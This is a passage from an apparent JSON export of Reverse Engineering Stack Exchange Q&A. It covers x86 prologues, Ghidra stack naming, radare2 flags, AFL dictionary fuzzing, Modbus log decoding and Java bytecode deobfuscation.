        "Answer": "<p>You have missed a couple of things.</p>\n\n<ul>\n<li>num6 isn't used directly - it's first converted to a string and then the ascii code is used</li>\n<li>the first addition isn't an addition - it's a string concatenation.</li>\n</ul>\n\n<p>In cases like this where there are so many conversions going on, you really need to break it down and take it step at a time.</p>\n\n<p>e.g.</p>\n\n<pre><code>First Part\n\n    Conversion.Oct(Strings.Asc(Conversions.ToString(num6)))\n        = Conversion.Oct(Strings.Asc(Conversions.ToString(0)))\n        = Conversion.Oct(Strings.Asc(\"0\"))\n        = Conversion.Oct(48)\n        = \"60\"\n\nSecond Part\n\n    Conversion.Oct(Strings.Asc(@string))\n        = Conversion.Oct(Strings.Asc('A'))\n        = Conversion.Oct(65)\n        = \"101\"\n\nPutting it together\n\n    Conversions.ToDouble(\"60\"+ \"101\") + 666\n        = Conversions.ToDouble( \"60101\") + 666\n        = 60101 + 666\n        = 60767\n</code></pre>\n\n<p>Alternatively, just paste the code into a simple C#/VB console application and run it to see what happens.</p>\n"
    },
    {
        "Id": "23481",
        "CreationDate": "2020-03-21T01:01:07.017",
        "Body": "<p>I need to see how a DLL was written and I am using a x32dbg to do it at run-time. I am a newbie to this reversing stuff, so I am confused with this piece of code:</p>\n<pre><code>push    ebp                          ; DllMain entry point\nmov     ebp, esp\nadd     esp, FFFFFFBC\nxor     eax, eax\nmov     dword ptr ss:[ebp-44], eax\nmov     eax, module.8BC3980\ncall    module.8BB8D54\nxor     eax, eax\n</code></pre>\n<p>Wikipedia says the following about function prologues:</p>\n<blockquote>\n<p>A function prologue typically does the following actions if the architecture has a base pointer (also known as frame pointer) and a stack pointer:</p>\n<p>Pushes current base pointer onto the stack, so it can be restored later.</p>\n<p>Assigns the value of stack pointer (which is pointed to the saved base pointer) to base pointer so that a new stack frame will be created on top of the old stack frame.</p>\n<p>Moves the stack pointer further by decreasing or increasing its value, depending on whether the stack grows down or up. On x86, the stack pointer is decreased to make room for the function's local variables.</p>\n<p>[...]</p>\n<p>As an example, here\u2032s a typical x86 assembly language function prologue as produced by the GCC</p>\n<pre><code>push   ebp\nmov    ebp, esp\nsub    esp, N\n</code></pre>\n</blockquote>\n<p>But I have encountered an <code>add esp, N</code> directive which adds a huge number to <code>esp</code> register. It seems something is wrong here, what should I understand from the code exactly?</p>\n<p>And the second question is about <code>mov dword ptr ss:[ebp-44], eax</code> directive. Why it is 44 that is subtracted from <code>ebp</code> address (11 ints!) and what does the <code>ss</code> item here?</p>\n<p>PS I suspect that the DLL is written in Delphi, but not 100% sure.</p>\n",
        "Title": "Function Prologue, add esp directive",
        "Tags": "|dll|x64dbg|delphi|",
        "Answer": "<p>The large integer that is added to ESP is negative and is used to move the stack pointer to a an address that allows 0x44 bytes on the stack for the current function.</p>\n\n<p>At this point, ESP=EBP-0x44. So, EBP-0x44 is essentially, [ESP].\nIt is equivalent to <code>PUSH EAX</code>, as a parameter for the <code>CALL</code> that comes next.</p>\n\n<p>The <code>ss:</code> is a selector which indicates that the \"base\" of the mentioned address is on the stack.\nIn a linear memory system it has no practical meaning.</p>\n"
    },
    {
        "Id": "23499",
        "CreationDate": "2020-03-22T23:13:15.020",
        "Body": "<p>I have an IoT system that has a command-line-based interactive shell that can be used to configure the system. While examining the disassembly/decompilation, I realized that there is a lot of functionality/code to the CLI and a lot of possible logical paths in the program. As such, I have not outright identified any memory corruption vulnerabilities, but I suspect that there may be edge cases that could result in a bug. This is where I would normally apply fuzzing to bolster my coverage.</p>\n\n<p>However, I am having trouble identifying an approach to creating a suitable input corpus to fuzz with. The CLI supports a number of commands, and some of them even spawn their own interactive CLI with many levels of namespaces. It may take several commands to reach certain parts of the program. </p>\n\n<p>I have two thoughts on how to go about this:</p>\n\n<ol>\n<li>Create a comprehensive corpus, including a large number of commands and possible paths. Will be tedious to construct; impossible to cover everything.</li>\n<li>No input corpus; use entirely feedback-driven fuzzing (if even possible in this case). Seems like this would be very inefficient, as there would be many paths for the fuzzer to learn.</li>\n</ol>\n\n<p>I am able to run the binary through the fuzzer and I believe the fuzzer is passing input to it correctly, so that's not an issue. I was planning on using honggfuzz for this, but I don't think that really matters for the question. I don't have source code, so this will be black box and un-instrumented fuzzing.</p>\n\n<p>My question is, how should I approach creating an input corpus to fuzz a black-box program that has many possible inputs?</p>\n",
        "Title": "Approach for fuzzing interactive CLI",
        "Tags": "|fuzzing|",
        "Answer": "<p>Thanks to @julian's comment, I was able to search for more relevant terms.</p>\n\n<p>For this particular case, I decided to use <a href=\"https://github.com/rc0r/afl-fuzz/blob/master/dictionaries/README.dictionaries\" rel=\"nofollow noreferrer\">AFL's</a> <a href=\"https://lcamtuf.blogspot.com/2015/01/afl-fuzz-making-up-grammar-with.html?m=1\" rel=\"nofollow noreferrer\">dictionary mode</a>, where you can give it a list of words that make up the target application's accepted syntax.</p>\n\n<p>For example, let's pretend the target application is an interactive calculator, which supports all basic mathmatical operators, e.g. <code>4 + 5</code> or <code>500 / 2</code>. For this, I would create a dictionary file with the following contents:</p>\n\n<pre><code>\"+\"\n\"-\"\n\"*\"\n\"/\"\n\"^\"\n...\n</code></pre>\n\n<p>In addition to a typical set of input cases, this file (or a directory of files with one valid piece of syntax each) would be passed to AFL with the <code>-x</code> option, and AFL will try to create valid syntax to improve fuzzing coverage.</p>\n"
    },
    {
        "Id": "23500",
        "CreationDate": "2020-03-23T06:08:44.427",
        "Body": "<pre><code>PS C:\\_&gt; r2 -v\nradare2 4.3.1 6 @ windows-x86-64 git.4.3.1\ncommit: 54ac837b5503f10f91e2069ac357791f7a3e635a build: Fri 03/06/2020__15:52:24.93\nPS C:\\_&gt; r2 --\n -- 99 bugs, take one down pass it around. 100 bugs...\n[0x00000000]&gt; f myflag\n[0x00000000]&gt; f*\nfs *\nf myflag 1 0x00000000\n[0x00000000]&gt; f?myflag ;expect an output here\n[0x00000000]&gt; f?~exists\n| f?flagname               check if flag exists or not, See ?? and ?!\n</code></pre>\n\n<p>The command <code>f?myflag</code> doesn't print any output as if the flag doesn't exist. Why does it happen?</p>\n\n<p>As a bonus question :), what does <code>See ?? and ?!</code> mean?</p>\n",
        "Title": "Command \"f?flagname\" doesn't work as expected in radare2",
        "Tags": "|radare2|",
        "Answer": "<p>It just doesn't print anything on the the screen but set's internal value. You can be verifie that by looking at the source code <a href=\"https://github.com/radareorg/radare2/blob/75f6f28bb0226b4bd2af9f8f20b2d82202903343/libr/core/cmd_flag.c#L1548\" rel=\"nofollow noreferrer\">here</a>.</p>\n\n<p>What it does tell you to do is to run <code>??</code> which is actually printing that value as can be seen in the help</p>\n\n<pre><code>| ??                               show value of operation\n</code></pre>\n\n<p>Additionally based on the result you can run the operation or not.</p>\n\n<pre><code>| ?! [cmd]                         run cmd if $? == 0\n| ?? [cmd]                         run cmd if $? != 0\n\n[0x00000000]&gt; f?non-existent-flag\n[0x00000000]&gt; ?? ?E exists //&lt;- action is not executed\n[0x00000000]&gt; f?myflag\n[0x00000000]&gt; ?? ?E exists\n \u256d\u2500\u2500\u256e    \u256d\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u256e\n \u2502 _\u2502    \u2502        \u2502\n \u2502 O O  &lt;  exists \u2502\n \u2502  \u2502\u256d   \u2502        \u2502\n \u2502\u2502 \u2502\u2502   \u2570\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u256f\n \u2502\u2514\u2500\u2518\u2502\n \u2570\u2500\u2500\u2500\u256f\n</code></pre>\n"
    },
    {
        "Id": "23518",
        "CreationDate": "2020-03-24T15:21:47.607",
        "Body": "<p>I recently extracted a bunch of raw bytes (from wireshark) into a regular <code>.txt</code> file. <br> Because these raw bytes are stored in a text file, all those hex-digits are actually written as ASCII characters on the disk.</p>\n\n<p>Now, I want to interpret the ASCII encoded hex-digits as raw bytes,\nbecause they actually represent a <code>.jpeg</code> image.</p>\n\n<p>I alredy tried to copy paste the digits into ghex, (I work on Ubuntu) but ghex only allows you to paste data into the interpreted area, not into the byte-manipulation area.</p>\n\n<p>Is there a simple way to do this?</p>\n",
        "Title": "Convert series of hex digits represented as ASCII-characters stored in a .txt file to raw bytes",
        "Tags": "|binary-analysis|file-format|hex|binary-editing|",
        "Answer": "<p>Here's my go to in Python3: <code>bytes.fromhex('020a0d')</code></p>\n<p>From there you can interpret how you'd like.</p>\n<pre><code>Python 3.7.6 (default, Dec 30 2019, 19:38:26) \n&gt;&gt;&gt; hex_str = '020a0d'\n&gt;&gt;&gt; bytes.fromhex(hex_str)\nb'\\x02\\n\\r'\n&gt;&gt;&gt; \n</code></pre>\n<p>As an aside, I've found that storing things as ASCII Hex is one of the better RE habits I've gotten into. You can share the data with others, mark it up, examine it in any editor or IDE. Much better than pushing around an actual binary file.</p>\n"
    },
    {
        "Id": "23540",
        "CreationDate": "2020-03-26T21:10:12.077",
        "Body": "<p>Why is Ghidra interpreting this incorrectly? The example is very simple.</p>\n\n<p>In this stack:</p>\n\n<pre><code>0019FF58  $-8      0019FF58        00000002     LOCAL 2\n0019FF5C  $-4      0019FF5C        00000001     LOCAL 1\n0019FF60  $ ==&gt;    0019FF60        0019FF80     OLD EBP\n0019FF64  $+4      0019FF64      | 00401025     return to layout.00401025 from layout.sub_40102C\n0019FF68  $+8      0019FF68      | 00000041     PARAM 3\n0019FF6C  $+C      0019FF6C      | 0000BABE     PARAM 2\n0019FF70  $+10     0019FF70      | 0000CAFE     PARAM 1\n</code></pre>\n\n<p>Ghidra obtains:</p>\n\n<pre><code>undefined4        Stack[0x4]:4   param_1                                 XREF[1]:     00401040 (R)   \nundefined4        Stack[0x8]:4   param_2                                 XREF[1]:     00401043 (R)   \nundefined4        Stack[0xc]:4   param_3                                 XREF[1]:     00401046 (R)   \nundefined4        Stack[-0x8]:4  local_8                                 XREF[1]:     00401032 (W)   \nundefined4        Stack[-0xc]:4  local_c                                 XREF[1]:     00401039 (W)  \n00401032 C745FC01000000            MOV        dword ptr [EBP  + local_8 ],0x1\n00401039 C745F802000000            MOV        dword ptr [EBP  + local_c ],0x2\n00401040 8B5D08                    MOV        EBX ,dword ptr [EBP  + param_1 ]\n00401043 8B4D0C                    MOV        ECX ,dword ptr [EBP  + param_2 ]\n00401046 FF7510                    PUSH       dword ptr [EBP  + param_3 ]\n</code></pre>\n\n<p>Whereas IDA correctly gets:</p>\n\n<pre><code>.text:0040102C var_8           = dword ptr -8\n.text:0040102C var_4           = dword ptr -4\n.text:0040102C arg_0           = dword ptr  8\n.text:0040102C arg_4           = dword ptr  0Ch\n.text:0040102C arg_8           = dword ptr  10h\n.text:00401032                 mov     [ebp+var_4], 1\n.text:00401039                 mov     [ebp+var_8], 2\n.text:00401040                 mov     ebx, [ebp+arg_0]\n.text:00401043                 mov     ecx, [ebp+arg_4]\n</code></pre>\n",
        "Title": "Ghidra interpreting stack pointers wrongly",
        "Tags": "|ghidra|stack-variables|",
        "Answer": "<p><strong>TL;DR:</strong></p>\n\n<ul>\n<li>This is not an error from Ghidra. The values are just a naming convention, and the real instructions are correctly disassembled.</li>\n<li>Ghidra assigns variable names based on the function entry point, and displays offsets based on that.</li>\n<li>It seems Ghidra behaviour is like this to have a universal way to assign names, independently from the compiler.</li>\n</ul>\n\n<hr>\n\n<p>As pointed by R4444, Ghidra shows variable offsets relative to the <code>entry stack-pointer</code> and are not <code>frame-based</code> offsets.</p>\n\n<p>Herein, Ghidra assigns variable names based on <code>ESP</code> (or corresponding stack pointer) <strong>at the time the function is entered</strong>, without considering the coming <code>PUSH EBP</code>, basically following this:</p>\n\n<pre><code>0019FF58  $-C      0019FF58        00000002     LOCAL 2\n0019FF5C  $-8      0019FF5C        00000001     LOCAL 1\n0019FF60  $-4      0019FF60        0019FF80     will store the OLD EBP\n0019FF64  $ ==&gt;    0019FF64      | 00401025     return to layout.00401025 from layout.sub_40102C\n0019FF68  $+4      0019FF68      | 00000041     PARAM 1\n0019FF6C  $+8      0019FF6C      | 0000BABE     PARAM 2\n0019FF70  $+C      0019FF70      | 0000CAFE     PARAM 3\n</code></pre>\n\n<p>This is <strong>how</strong> Ghidra obtained the values:</p>\n\n<pre><code>Stack[0x4]  -&gt; param_1\nStack[0x8]  -&gt; param_2\nStack[0xc]  -&gt; param_3\nStack[-0x8] -&gt; local_8\nStack[-0xc] -&gt; local_c\n</code></pre>\n\n<p>It must be considered that this is just a <strong>variable naming</strong>, the actual instruction is addressing the data with the correct offset. If we navigate to one of the offensive instructions, we can see that Ghidra provides the correct instruction at the bottom right corner, in this case, <code>EBP-4</code> for the named variable <code>local_8</code> (<code>[-0x8]</code>):</p>\n\n<p><a href=\"https://i.stack.imgur.com/oWScT.jpg\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/oWScT.jpg\" alt=\"Ghidra stack-pointer relative to entry\"></a></p>\n\n<p>This default Ghidra behavior can be modified permanently via: <code>Edit &gt; Tool Options &gt; Listing Fields &gt; Operands Field &gt; Markup Stack Variable References</code>, and then Ghidra will display:</p>\n\n<pre><code>     undefined4        Stack[0x4]:4   param_1                                 XREF[1]:     00401040 (R)   \n     undefined4        Stack[0x8]:4   param_2                                 XREF[1]:     00401043 (R)   \n     undefined4        Stack[0xc]:4   param_3                                 XREF[1]:     00401046 (R)   \n     undefined4        Stack[-0x8]:4  local_8                                 XREF[1]:     00401032 (W)   \n     undefined4        Stack[-0xc]:4  local_c                                 XREF[1]:     00401039 (W)   \n\n00401032 C745FC01000000            MOV        dword ptr [EBP  + -0x4 ]=&gt; local_8 ,0x1\n00401039 C745F802000000            MOV        dword ptr [EBP  + -0x8 ]=&gt; local_c ,0x2\n00401040 8B5D08                    MOV        EBX ,dword ptr [EBP  + 0x8 ]=&gt; param_1\n00401043 8B4D0C                    MOV        ECX ,dword ptr [EBP  + 0xc ]=&gt; param_2\n00401046 FF7510                    PUSH       dword ptr [EBP  + 0x10 ]=&gt; param_3\n</code></pre>\n\n<p>This is the <strong>REASON</strong> for the values mismatch and the <strong>HOW</strong> the values are obtained, but <strong>WHY</strong> is Ghidra naming variables based on the function entry? @emteere explains that:</p>\n\n<blockquote>\n  <p>The choice of stack variable offsets based on the frame variable versus stack variables based on the stack pointer can cause some confusion. What it allows is ignoring the stack frame variable and just creating references to the stack wherever they occur however they occur. <strong>There are many examples of the stack pointer loaded into alternate registers without a frame</strong>, so a universal base of the stack at entry seemed like a good choice and less confusing when there is and isn't a frame pointer in two different functions. When debug information is loaded the conversion to SP at entry needs to be done. In addition, many compilers have gotten rid of the use of a stack frame register all together.</p>\n</blockquote>\n\n<p>So, I imagine that the explanation is that one normally would wish to have frame-based variable naming, like seen in IDA, at least for some of the most extended architectures/compilers. However, Ghidra names variables with a general policy, and they decided to harmonise behaviour of different architectures/compilers by offseting variables based on the stack-pointer at the time the function is entered.</p>\n\n<hr>\n\n<p>Sources:</p>\n\n<ul>\n<li><a href=\"https://github.com/NationalSecurityAgency/ghidra/issues/998\" rel=\"noreferrer\">Suspected incorrect FP stack variables in ARM</a></li>\n<li><a href=\"https://github.com/NationalSecurityAgency/ghidra/issues/223\" rel=\"noreferrer\">local variable's ebp offset doesn't match</a></li>\n<li>Ghidra help: \"Function Signature, Attributes and Variables\"</li>\n</ul>\n"
    },
    {
        "Id": "23554",
        "CreationDate": "2020-03-28T09:49:21.440",
        "Body": "<p><strong>Background:</strong> I'm a beginner reverse engineer and I wanted to try writing my own c++ programs and reverse-engineering them. I wrote something and I'm not sure a smart way of reversing it. Usually, I can think of it as a math formula and just do it in reverse to figure out the algorithm but I can't think of any other way than brute-forcing for this scenario.</p>\n\n<pre><code>#include &lt;iostream&gt;\n\nusing namespace std;\n\nint main()\n{\n    char key[9];\n    int total = 0;\n\n    cout &lt;&lt; \"Enter Key: \";\n\n    cin &gt;&gt; key;\n\n    for (char item : key)\n    {\n        total = total + (int)item;\n    }\n\n    if (total == 895)\n    {\n        puts(\"Correct\");\n    }\n    else\n    {\n        puts(\"Sorry buddy\");\n    }\n\n    return 0;\n}\n</code></pre>\n\n<p>btw sorry if my c++ isn't very good. I am new to this language haha</p>\n\n<p><strong>Main Goal:</strong> I want to know if there is a smarter way of going about this or is brute force the only way. Thanks!</p>\n",
        "Title": "Smart approach or Brute force?",
        "Tags": "|c++|",
        "Answer": "<p>The question is not clear. Are you asking about</p>\n\n<ol>\n<li>an approach to finding a single input that results in \"Correct\" being printed? or</li>\n<li>an approach to deriving a method that will generate correct inputs for you (e.g. keygenning)?</li>\n</ol>\n\n<p>If it is 1, then the answer is as simple as using a calculator.</p>\n\n<p>If it is 2, then many options exist, such as using a constraint solver (z3, angr, KLEE).</p>\n"
    },
    {
        "Id": "24565",
        "CreationDate": "2020-03-30T01:12:08.060",
        "Body": "<p>In this <a href=\"https://github.com/ExtReMLapin/Foretrex601_Research/raw/master/Unknown.bin\" rel=\"nofollow noreferrer\">firmware</a> that is ARM Little endian.</p>\n\n<p>There is two strings : </p>\n\n<pre><code>0x00006953 : Foretrex 701\n0x00006960 : Foretrex 601\n</code></pre>\n\n<p>The issue, is there is no direct Xreft to any of thoses strings ? </p>\n\n<p>For the firmware, it's pretty much the same.</p>\n\n<p><img src=\"https://i.stack.imgur.com/fuD10.png\" alt=\"\"></p>\n\n<p>As IDA cannot find the entry point, to start analyzing the binary (after setting CPU to arm little endian) select all the code (with CTRL+SHIFT+PAGE_DOWN) press C, then \"Analyze\"</p>\n\n<p><img src=\"https://i.stack.imgur.com/J3Ohq.png\" alt=\"\"></p>\n",
        "Title": "In IDA, cannot find xrefs to string in ARM little-endian bootloader/firmware",
        "Tags": "|ida|binary-analysis|arm|",
        "Answer": "<p>As suggested in one of the answers, it's because of the base address, I used <a href=\"https://github.com/sgayou/rbasefind\" rel=\"nofollow noreferrer\">rbasefind</a> to find the base_address of the firmware, and edited it to find the address of the bootloader as there was only two strings plus 11 false string positives.</p>\n"
    },
    {
        "Id": "24577",
        "CreationDate": "2020-03-31T06:47:10.617",
        "Body": "<p>I have disassembled the crackme0x06 challenge (<a href=\"http://security.cs.rpi.edu/courses/binexp-spring2015\" rel=\"nofollow noreferrer\">http://security.cs.rpi.edu/courses/binexp-spring2015</a> inside challenges.zip). It's an ELF 32bit unstripped binary. The decompiled C code using Ghidra looks like :</p>\n\n<pre><code>undefined4 main(undefined4 param_1,undefined4 param_2,undefined4 param_3)\n{\n  undefined local_7c [120];\n\n  printf(\"IOLI Crackme Level 0x06\\n\");\n  printf(\"Password: \");\n  scanf(\"%s\",local_7c);\n  check(local_7c,param_3);\n  return 0;\n}\n</code></pre>\n\n<p>Intel x86 looks like : </p>\n\n<pre><code>                             **************************************************************\n                             *                          FUNCTION                          *\n                             **************************************************************\n                             undefined main(undefined param_1, undefined param_2, und\n             undefined         AL:1           &lt;RETURN&gt;\n             undefined         Stack[0x4]:1   param_1\n             undefined         Stack[0x8]:1   param_2\n             undefined4        Stack[0xc]:4   param_3                                 XREF[1]:     08048651(R)  \n             undefined[120]    Stack[-0x7c]   local_7c                                XREF[2]:     0804863e(*), \n                                                                                                   08048658(*)  \n             undefined4        Stack[-0x9c]:4 local_9c                                XREF[2]:     08048641(W), \n                                                                                                   08048654(W)  \n             undefined4        Stack[-0xa0]:4 local_a0                                XREF[4]:     08048626(*), \n                                                                                                   08048632(*), \n                                                                                                   08048645(*), \n                                                                                                   0804865b(*)  \n                             main                                            XREF[2]:     Entry Point(*), \n                                                                                          _start:08048417(*)  \n        08048607 55              PUSH       EBP\n        08048608 89 e5           MOV        EBP,ESP\n        0804860a 81 ec 88        SUB        ESP,0x88\n                 00 00 00\n        08048610 83 e4 f0        AND        ESP,0xfffffff0\n        08048613 b8 00 00        MOV        EAX,0x0\n                 00 00\n        08048618 83 c0 0f        ADD        EAX,0xf\n        0804861b 83 c0 0f        ADD        EAX,0xf\n        0804861e c1 e8 04        SHR        EAX,0x4\n        08048621 c1 e0 04        SHL        EAX,0x4\n        08048624 29 c4           SUB        ESP,EAX\n        08048626 c7 04 24        MOV        dword ptr [ESP]=&gt;local_a0,s_IOLI_Crackme_Level   = \"IOLI Crackme Level 0x06\\n\"\n                 63 87 04 08\n        0804862d e8 86 fd        CALL       printf                                           int printf(char * __format, ...)\n                 ff ff\n        08048632 c7 04 24        MOV        dword ptr [ESP]=&gt;local_a0,s_Password:_0804877c   = \"Password: \"\n                 7c 87 04 08\n        08048639 e8 7a fd        CALL       printf                                           int printf(char * __format, ...)\n                 ff ff\n        0804863e 8d 45 88        LEA        EAX=&gt;local_7c,[EBP + -0x78]\n        08048641 89 44 24 04     MOV        dword ptr [ESP + local_9c],EAX\n        08048645 c7 04 24        MOV        dword ptr [ESP]=&gt;local_a0,DAT_08048787           = 25h    %\n                 87 87 04 08\n        0804864c e8 47 fd        CALL       scanf                                            int scanf(char * __format, ...)\n                 ff ff\n        08048651 8b 45 10        MOV        EAX,dword ptr [EBP + param_3]\n        08048654 89 44 24 04     MOV        dword ptr [ESP + local_9c],EAX\n        08048658 8d 45 88        LEA        EAX=&gt;local_7c,[EBP + -0x78]\n        0804865b 89 04 24        MOV        dword ptr [ESP]=&gt;local_a0,EAX\n        0804865e e8 25 ff        CALL       check                                            undefined check(undefined4 param\n                 ff ff\n        08048663 b8 00 00        MOV        EAX,0x0\n                 00 00\n        08048668 c9              LEAVE\n        08048669 c3              RET\n</code></pre>\n\n<p>My Question is what is \"check\" keyword? I have run ltrace and strace on the binary, so I know its neither some library function nor system-call. What is it then?</p>\n",
        "Title": "\"check:\" keyword in Ghidra",
        "Tags": "|assembly|decompilation|elf|ghidra|decompile|",
        "Answer": "<p><code>check</code> is a symbol name inside your binary - meaning it's just a name of the function the Ghidra can recognize. </p>\n"
    },
    {
        "Id": "24579",
        "CreationDate": "2020-03-31T09:49:52.153",
        "Body": "<p>I have logfiles in the following format without any documentation:</p>\n\n<pre><code>to 12.03.2020 08:04:15 &lt; '7\"\\05\\04\\02\\16\\F6\\C6\\D6\"'#0D\nto 12.03.2020 08:04:15 &gt; '7S\"\\05\\04\\00\\02\\00\\01\\91\\8E\"'#0D\nto 12.03.2020 08:04:15 &lt; '7\"\\05\\04\\02 \\22\\D1)\"'#0D\nto 12.03.2020 08:04:15 &gt; '7S\"\\05\\04\\00\\05\\00\\01\\20\\4F\"'#0D\nto 12.03.2020 08:04:16 &lt; '7\"\\05\\04\\02\\19e\\83K\"'#0D\nto 12.03.2020 08:04:16 &gt; '7S\"\\05\\04\\00\\07\\00\\01\\81\\8F\"'#0D\nto 12.03.2020 08:04:16 &lt; '7\"\\05\\04\\02\\00z\\C9\\13\"'#0D\nto 12.03.2020 08:04:16 &gt; '7S\"\\01\\03\\00\\00\\00\\05\\85\\C9\"'#0D\nto 12.03.2020 08:04:16 &lt; '7\"\\01\\03\\0A\\00\\00\\05\\DC\\00\"'#0D\nto 12.03.2020 08:04:16 &lt; '7\"\\02\\00\\00\\00\\01AD\"'#0D\nto 12.03.2020 08:04:16 &gt; '7S\"\\01\\01\\00\\00\\00\\10\\3D\\C6\"'#0D\nto 12.03.2020 08:04:16 &lt; '7\"\\01\\01\\02\\00\\03\\F9\\FD\"'#0D\nto 12.03.2020 08:04:16 &gt; '7S\"\\05\\04\\00\\00\\00\\01\\30\\4E\"'#0D\nto 12.03.2020 08:04:16 &lt; '7\"\\05\\04\\02\\17\\03\\07\\01\"'#0D\nto 12.03.2020 08:04:16 &gt; '7S\"\\05\\04\\00\\01\\00\\01\\61\\8E\"'#0D\nto 12.03.2020 08:04:16 &lt; '7\"\\05\\04\\02\\16\\F6\\C6\\D6\"'#0D\nto 12.03.2020 08:04:16 &gt; '7S\"\\05\\04\\00\\02\\00\\01\\91\\8E\"'#0D\n</code></pre>\n\n<p>This snippet from a log file probably represents the current state and operations of our manufacturing machine. Is there something meaningful in the codes to the right of the time stamp?</p>\n\n<p>Some observations:</p>\n\n<ul>\n<li>\"to\" corresponds to \"thu\" (for Thursday) in our language.</li>\n<li>It is not hexidecimal since it occasionally contains \"83K\", Gs, etc. And \"\\00\" corresponds to \"null\" in ascii.</li>\n<li>The log code starts with <code>&lt; '7\"</code> or <code>&gt; '7S\"</code> and ends with <code>\"'#0D</code> on all lines. Except occasionally saying something like <code>&gt; '3V1018'#0D</code></li>\n<li>The space in the third line above is an unknown character, displaying as a rectangle in Notepad++.</li>\n</ul>\n",
        "Title": "Decoding unknown logfile format",
        "Tags": "|file-format|",
        "Answer": "<p>It looks to be MODBUS messages. The bytes at the end are a CRC in exactly the format MODBUS uses. See <a href=\"http://modbus.org/docs/PI_MBUS_300.pdf\" rel=\"nofollow noreferrer\">Modicon Modbus Protocol Reference Guide</a></p>\n\n<p>The backslash sequences like \"\\F6\" are hexadecimal escapes. Other characters are literal ASCII.</p>\n\n<p>Here is a Python script that decodes the data and calculates the CRC (which you will see matches):</p>\n\n\n\n<pre><code>import re\nimport crcmod.predefined\n\nstuff = r'''\nto 12.03.2020 08:04:15 &lt; '7\"\\05\\04\\02\\16\\F6\\C6\\D6\"'#0D\nto 12.03.2020 08:04:15 &gt; '7S\"\\05\\04\\00\\02\\00\\01\\91\\8E\"'#0D\nto 12.03.2020 08:04:15 &lt; '7\"\\05\\04\\02 \\22\\D1)\"'#0D\nto 12.03.2020 08:04:15 &gt; '7S\"\\05\\04\\00\\05\\00\\01\\20\\4F\"'#0D\nto 12.03.2020 08:04:16 &lt; '7\"\\05\\04\\02\\19e\\83K\"'#0D\nto 12.03.2020 08:04:16 &gt; '7S\"\\05\\04\\00\\07\\00\\01\\81\\8F\"'#0D\nto 12.03.2020 08:04:16 &lt; '7\"\\05\\04\\02\\00z\\C9\\13\"'#0D\nto 12.03.2020 08:04:16 &gt; '7S\"\\01\\03\\00\\00\\00\\05\\85\\C9\"'#0D\nto 12.03.2020 08:04:16 &lt; '7\"\\01\\03\\0A\\00\\00\\05\\DC\\00\"'#0D\nto 12.03.2020 08:04:16 &lt; '7\"\\02\\00\\00\\00\\01AD\"'#0D\nto 12.03.2020 08:04:16 &gt; '7S\"\\01\\01\\00\\00\\00\\10\\3D\\C6\"'#0D\nto 12.03.2020 08:04:16 &lt; '7\"\\01\\01\\02\\00\\03\\F9\\FD\"'#0D\nto 12.03.2020 08:04:16 &gt; '7S\"\\05\\04\\00\\00\\00\\01\\30\\4E\"'#0D\nto 12.03.2020 08:04:16 &lt; '7\"\\05\\04\\02\\17\\03\\07\\01\"'#0D\nto 12.03.2020 08:04:16 &gt; '7S\"\\05\\04\\00\\01\\00\\01\\61\\8E\"'#0D\nto 12.03.2020 08:04:16 &lt; '7\"\\05\\04\\02\\16\\F6\\C6\\D6\"'#0D\nto 12.03.2020 08:04:16 &gt; '7S\"\\05\\04\\00\\02\\00\\01\\91\\8E\"'#0D\n'''\n\nmodbus_crc = crcmod.predefined.mkCrcFun('modbus')\n\nfor line in stuff.splitlines(keepends=False):\n    if not line:\n        continue\n    data = line.split('\"', 1)[1][:-5].encode('ASCII')\n    data = re.sub(br'\\\\(..)', lambda m: bytes([int(m.group(1), 16)]), data)\n    print(format(modbus_crc(data[:-2]), '04x'), data.hex())\n</code></pre>\n\n<p>Output:</p>\n\n<pre><code>d6c6 05040216f6c6d6\n8e91 050400020001918e\n29d1 0504022022d129\n4f20 050400050001204f\n4b83 0504021965834b\n8f81 050400070001818f\n13c9 050402007ac913\nc985 01030000000585c9\n1186 01030a000005dc00\n009c 02000000014144\nc63d 0101000000103dc6\nfdf9 0101020003f9fd\n4e30 050400000001304e\n0107 05040217030701\n8e61 050400010001618e\nd6c6 05040216f6c6d6\n8e91 050400020001918e\n</code></pre>\n\n<p>I'm not sure about the other content.</p>\n"
    },
    {
        "Id": "24598",
        "CreationDate": "2020-04-03T09:44:29.827",
        "Body": "<p>I'm new to Java and working on cleaning up a fairly large Java .jar sample where the obfuscator has renamed symbols into invalid names. For example: </p>\n\n<pre><code>import org.lib.00.0.2;\n\npublic final class 90\nextends 2 {\n    public 90() {\n        90 iiIIiiiiiIiIi;\n        90 v0 = iiIIiiiiiIiIi;\n    ...\n}\n</code></pre>\n\n<p>Using Recaf I am renaming these symbols that are using numbers but after doing so Recaf isn't able to find the renamed classes/packages and subsequent compiles with my code changes fail.</p>\n\n<p>Are there any tools that will automate restoring the symbols to legal names? If not, how can I rename things in a way that won't break package/class paths?</p>\n\n<p>Additionally, I'm considering if I should be using the decompiler at all and maybe just altering the ASM/instructions. I'm pretty comfortable with regular assembly and it seems this might dodge some of the obfuscation measures?</p>\n\n<p>Thanks.</p>\n",
        "Title": "Reverse Engineering Java - Deobfuscating symbols",
        "Tags": "|disassembly|obfuscation|java|deobfuscation|decompile|",
        "Answer": "<p>I'm not sure about tools specifically for your first question, but as for your second question, yes, definitely!</p>\n\n<p>Decompilation is useful for <em>understanding</em> code, but it is terrible for <em>modifying</em> code. Compilation and decompilation are both lossy processes. Also, there's a lot of things you can do in bytecode that have no Java equivalent, so you shouldn't expect obfuscated bytecode to even decompile cleanly in the first place.</p>\n\n<p>Disassembly and assembly by contrast doesn't lose any information and can cleanly roundtrip even to obfuscated bytecode, at least if you use a good disassembler like <a href=\"https://github.com/Storyyeller/Krakatau\" rel=\"nofollow noreferrer\">Krakatau</a>. So if you are comfortable working with bytecode and are working with highly obfuscated bytecode, I would strongly recommend using Krakatau. For regular or moderately obfuscated bytecode (the most common case), other tools such as ASM will work as well, in case you want to use that instead. There are some bytecode quirks that ASM doesn't support properly, but I am not aware of any obfuscators in the wild that exploit them, so this is unlikely to be an issue in practice. </p>\n\n<p>Note that the code you are working with may also be using introspection to try to detect tampering, so watch out for that. For example, some old versions of Stringer that I looked at would load themselves and count the number of constant pool entries in the classfile, so modifications would likely break them. (Krakatau makes it possible to avoid adding or removing constant pool entries if you're careful, but your best bet is to just analyze the code to find and remove the tamper checks)</p>\n"
    },
    {
        "Id": "24610",
